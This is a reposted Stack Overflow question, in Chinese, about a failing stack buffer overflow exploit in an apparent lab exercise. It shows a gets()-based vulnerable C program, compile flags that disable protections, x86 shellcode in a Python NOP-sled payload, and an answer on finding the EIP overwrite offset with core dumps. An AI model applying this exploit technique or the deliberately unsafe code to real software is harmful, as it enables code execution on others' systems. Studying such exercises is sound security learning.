gpt4 book ai didi

c - 无法运行堆栈缓冲区溢出漏洞利用

转载 作者:行者123 更新时间:2023-11-30 17:23:27 26 4
gpt4 key购买 nike

我必须在以下缓冲区溢出程序中注入(inject)代码。该代码应打印主机名。我有一个操作码 (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80) 有效。我使用了 NOP 和重复的返回地址。但我无法用它运行代码,并且总是会出现段错误。谁能帮我解决这个问题吗?

易受攻击的.c

#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char * * argv)
{
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}

int
vulnerable(void)
{
char buf[100];
printf("enter your name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n Welcome", buf );
}

我编译了上面的程序

gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Shellcode.py

print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2‌​f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6 

我在命令行中调用了这个Python程序

python shellcode.py | ./vulnerable

最佳答案

我建议您打开核心转储:

ulimit -c unlimited

然后执行一个简单的缓冲区溢出,例如perl -e 'print "A"x130',系统将生成转储:使用gdb -c core打开它,然后您将看到 %eip=0x41414141

然后,您可以减少注入(inject)的缓冲区,如 perl -e 'print "A"x120' ,直到获得确切的缓冲区大小以覆盖 RET。

关于c - 无法运行堆栈缓冲区溢出漏洞利用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27581098/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com